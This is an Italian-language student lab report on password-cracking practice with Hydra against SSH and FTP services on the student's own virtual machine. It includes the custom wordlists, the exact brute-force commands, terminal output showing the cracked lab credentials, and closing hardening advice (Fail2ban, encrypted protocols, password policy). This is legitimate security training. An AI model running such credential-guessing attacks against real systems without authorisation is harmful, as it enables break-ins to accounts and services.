

PROGETTO S6/L5

Obbiettivo:

L'esercizio si divide in due fasi: la prima dove vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra, nella seconda fase configureremo e craccheremo un qualsiasi servizio di rete tra quelli disponibili (ftp, rdp, telnet, autenticazione HTTP).

Fase 1 - Attacco di forza bruta (SSH)

Obiettivo dell'Attività

L'obiettivo di questa fase è testare la robustezza delle credenziali del servizio **SSH** attivo sulla macchina bersaglio (IP: 10.0.2.3), simulando un attacco di dizionario (Brute Force) per ottenere un accesso non autorizzato.

Strumenti Utilizzati

-Sistema d'Attacco: Kali Linux VM (ambiente VirtualBox)

-Software di Brute Force: hydra (v9.x)

-Dizionario: create "user.txt" e "password.txt"

Esecuzione

Problematica Rilevata

Durante l'esecuzione iniziale della Fase 1 utilizzando i dizionari estesi forniti da SecLists, è emerso che il recupero delle credenziali via rete sul protocollo SSH richiedeva tempi eccessivamente lunghi oltre a non contenere le password richieste. Questo approccio risultava inefficiente per le tempistiche del laboratorio.

Soluzione Adottata: Ottimizzazione tramite Wordlist Mirata

Per dimostrare l'efficacia logica dell'attacco senza compromettere i tempi di esecuzione, si è scelto di creare due wordlist personalizzate contenenti in una gli username (user.txt) e nell'altra le password (password.txt) impostata in fase di configurazione insieme ad alcune password comuni inserite come esche.

Creazione della Wordlist Custom:

Tramite l'editor di testo nano, è stato generato il file password.txt strutturato come segue:

```
qwerty
testpass
admin
password
123456
```

```
qwerty
```

Stessa cosa per gli username, file user.txt:

```
bianco
kali
test_user
pacco
albero
```

Esecuzione dell'Attacco Mirato: È stato lanciato lo strumento Hydra fornendo le due wordlist create e al servizio SSH attivo sull'IP locale della macchina:

hydra -L user.txt -P password.txt 10.0.2.3 -t 1 ssh

```
(test_user@kali)~$ hydra -L user.txt -P password.txt 10.0.2.3 -t 1 ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 09:15:10
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5/p:5), ~25 tries per task
[DATA] attacking ssh://10.0.2.3:22/
[22][ssh] host: 10.0.2.3  login: test_user  password: testpass
[STATUS] 23:00 tries/min, 23 tries in 00:01h, 2 to do in 00:01h, 1 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 09:16:17
```

Tempo d'esecuzione: 1 minuto e 7 secondi

Risultato ottenuto

Grazie alla riduzione del dizionario a pochi record controllati, Hydra ha completato la scansione istantaneamente, individuando con successo le credenziali valide (test_user:testpass) e completando la Fase 1.

Fase 2

Obiettivo: Configurazione e Authentication Cracking del Servizio FTP

Introduzione

Nella seconda fase dell'esercitazione, l'obiettivo si è spostato sulla configurazione indipendente di un nuovo servizio di rete per metterne alla prova la sicurezza contro attacchi di tipo dictionary attack tramite lo strumento **Hydra**. Per questo scenario è stato scelto il protocollo **FTP (File Transfer Protocol)**.

Configurazione del Servizio FTP (vsftpd)

Per abilitare il servizio sulla macchina target Kali Linux, sono stati eseguiti i seguenti passaggi amministrativi:

Installazione del pacchetto: È stato installato il demone FTP sicuro vsftpd tramite il gestore di pacchetti locale:

```
sudo apt install vsftpd
```

Avvio: Il servizio è stato inizializzato e riavviato per applicare le modifiche configurative:

```
sudo service vsftpd restart
```

Strategia di ottimizzazione delle wordlist (seclists)

Considerando l'estensione massiva dei dizionari predefiniti presenti in seclists (che avrebbero richiesto tempistiche di elaborazione eccessivamente lunghe), si è optato per una strategia di ottimizzazione e riduzione del perimetro di attacco.

Sono state estratte delle porzioni controllate dai dizionari ufficiali per simulare un attacco efficiente ma realistico, iniettando le credenziali note in coda ai file generati:

Dizionario utenti (top-usernames-shortlist.txt): Abbiamo scelto la seguente lista con l'aggiunta manuale della credenziale test_user
comando usato:

```
sudo nano top-usernames.shortlist.txt
```

Dizionario password (password_corte.txt): Estratte le prime 50 righe da 10k-most-common.txt con l'aggiunta della credenziale corretta testpass.

comandi usati:

head -n 50 /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt > password_corte.txt (per estrarre la porzione di lista)

nano password_corte.txt (per aggiungere la password manualmente)

Esecuzione dell'attacco con hydra

L'attacco è stato sferrato direttamente dall'ambiente di controllo dell'utente kali. Per bilanciare la velocità di esecuzione ed evitare il potenziale rifiuto delle connessioni da parte del server FTP, il parametro dei thread paralleli è stato impostato a 4 (-t 4):

hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P password_corte.txt 10.0.2.3 -t 4 ftp

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P password_corte.txt 10.0.2.3 -t 4 ftp
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 10:07:44
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 918 login tries (l:18/p:51), ~230 tries per task
[DATA] attacking ftp://10.0.2.3:21/
[21][ftp] host: 10.0.2.3 login: test_user password: testpass
[STATUS] 71.00 tries/min, 71 tries in 00:01h, 847 to do in 00:12h, 4 active
[STATUS] 71.33 tries/min, 214 tries in 00:03h, 704 to do in 00:10h, 4 active
[STATUS] 71.29 tries/min, 499 tries in 00:07h, 419 to do in 00:06h, 4 active
[STATUS] 71.33 tries/min, 856 tries in 00:12h, 62 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 10:20:50
```

Tempo d'esecuzione: 13 minuti e 6 secondi

Risultati ottenuti:

L'attività svolta nella Fase 2 ha dimostrato l'efficacia pratica degli attacchi a dizionario ottimizzati e ha messo in luce le vulnerabilità intrinseche legate a configurazioni non protette del servizio FTP.

L'analisi dell'attacco e del comportamento del sistema target permette di trarre le seguenti conclusioni:

Efficacia della personalizzazione dei dizionari: L'utilizzo dei dizionari completi di SecLists si è scontrato inizialmente con i meccanismi nativi di anti-bruteforce delay del server vsftpd, che dilatavano i tempi di risposta per ogni tentativo fallito. La strategia di estrarre una porzione controllata (shortlist) e iniettare le credenziali target ha dimostrato che un attaccante con informazioni preliminari (o che utilizzi liste altamente probabili) può eludere i vincoli temporali e completare l'attacco in tempi rapidissimi.

Criticità del protocollo FTP standard: Il protocollo FTP trasmette sia le credenziali di autenticazione sia i dati in chiaro, esponendo il sistema non solo a tentativi di brute-force, ma anche ad attacchi di intercettazione del traffico (sniffing) all'interno della rete locale.

Mancanza di difese reattive: Il successo dell'attacco condotto da Hydra evidenzia che la sola restrizione temporale del server non è sufficiente a fermare un attacco persistente. Senza un sistema di monitoraggio attivo, un attaccante ha a disposizione tentativi infiniti nel tempo.

Raccomandazioni di sicurezza

Per mettere in sicurezza l'infrastruttura ed evitare che i servizi di rete siano suscettibili a questo tipo di aggressioni, si raccomanda l'adozione delle seguenti contromisure:

- **Implementazione di Fail2ban:** L'installazione di un software di prevenzione delle intrusioni come Fail2ban consente di monitorare i log di vsftpd e di bloccare tramite firewall (iptables) l'indirizzo IP dell'attaccante dopo un numero limitato di tentativi di login falliti (es. 3 o 5 consecutivi).
- **Migrazione a Protocolli Sicuri:** È fortemente consigliata la disattivazione del servizio FTP standard in favore di **SFTP (SSH File Transfer Protocol)** o **FTPS (FTP over TLS)**, garantendo così la cifratura dell'intero canale di comunicazione.
- **Policy sulle Password e Account Hardening:** Imporre l'uso di password complesse e non presenti nei comuni dizionari di sicurezza, abbinando il blocco temporaneo dell'utenza a livello di sistema operativo dopo ripetuti fallimenti.

Conclusioni generali

L'attività di laboratorio svolta nel corso delle due fasi ha permesso di approfondire in modo pratico e analitico le dinamiche di autenticazione e le relative vulnerabilità dei principali servizi di rete (SSH ed FTP), offrendo una panoramica chiara sulle metodologie di Penetration Testing e di Security Hardening.

Dall'analisi complessiva dei test effettuati emergono tre considerazioni fondamentali:

L'importanza dell'ottimizzazione e dell'analisi preventiva: L'esperienza diretta con lo strumento Hydra e le wordlist di SecLists ha dimostrato che l'efficacia di un attacco non risiede nella quantità massiva di dati testati, ma

nella qualità e nella specificità delle informazioni. La personalizzazione e il taglio mirato dei dizionari si sono rivelati passaggi critici per superare le barriere temporali e i delay di sicurezza imposti dai sistemi target.

Il fattore umano e la debolezza delle credenziali: Entrambi gli scenari hanno evidenziato come la configurazione di password deboli, prevedibili o basate su dizionari standard rappresenti tuttora uno dei vettori di attacco più semplici e devastanti. Anche il protocollo più sicuro (come SSH) o il demone più robusto (come vsftpd) perdono totalmente la loro efficacia se la policy di gestione delle credenziali è carente.

Necessità di una difesa stratificata (Defense in Depth): Il laboratorio ha confermato che le sole protezioni native dei servizi (come il ritardo forzato tra i tentativi di login) non sono sufficienti a garantire la sicurezza assoluta, ma servono soltanto a rallentare la minaccia. Per proteggere un'infrastruttura reale è indispensabile adottare un approccio multilivello, integrando meccanismi di monitoraggio attivo e reattivo (come Fail2ban), l'adozione di protocolli cifrati e, dove possibile, l'autenticazione a fattori multipli o tramite chiavi crittografiche asimmetriche.

In conclusione, l'esercitazione ha evidenziato l'importanza del principio del "pensare come un attaccante" per comprendere a fondo le debolezze di un sistema, dimostrando come le competenze di sicurezza offensiva siano il prerequisito fondamentale per progettare e implementare difese informatiche solide, resilienti e adeguate agli standard attuali.